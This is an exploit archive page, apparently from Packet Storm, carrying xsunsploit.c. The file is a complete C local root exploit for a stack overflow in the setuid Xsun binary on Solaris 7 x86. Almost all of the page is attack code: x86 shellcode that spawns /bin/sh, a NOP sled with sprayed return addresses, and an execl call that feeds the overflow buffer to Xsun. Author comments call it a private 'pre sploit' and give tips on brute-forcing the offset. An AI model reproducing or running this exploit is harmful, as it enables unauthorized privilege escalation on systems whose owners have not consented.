what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xsunsploit.c

xsunsploit.c
Posted Sep 28, 2000
Authored by DiGiT

Solaris 7 Xsun(suid) local overflow - Solaris 2.7/(2.6?) x86 sploit no sparc code.

tags | exploit, overflow, x86, local
systems | solaris
SHA-256 | e14c2c1b5cb8a44823088162f42622b3a6b9199ed68b1d7dde4508dc148dcd0d

xsunsploit.c

Change Mirror Download
/*
*
* Solaris 7 Xsun(suid) local overflow - PRIVATE for now!
* Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
*
* Discovered/sploited By DiGiT - teddi@linux.is
*
* Greets to all the guys at #hax.
* Special greetz to crazy-b! and my Icelandic brother Icemav!!
*
* Íslendingar gefið mér VINNU! - Ísland lengi lifi or whatever.
*
* this is a pre sploit so do not distribute!
*
* if this dosen't work, you will need to brute the offset.
*/

#include <stdio.h>
#include <stdlib.h>

// Generic solaris x86 shellcode by cheeze wizz

char shellcode[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {

char buff[5000];
int nopcount=2001, bsize=4000, offset=1850;
int i;

if (argc > 1) nopcount = atoi(argv[1]);
if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);

memset (buff, 0x90, bsize);

for (i = nopcount; i < bsize - 4; i += 4)
*(long *) &buff[i] = get_esp() + offset;

memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen(shellcode))
;
memcpy (buff, ":", 1);
printf("Oh boy. DiGiT presents r00t\n");
execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close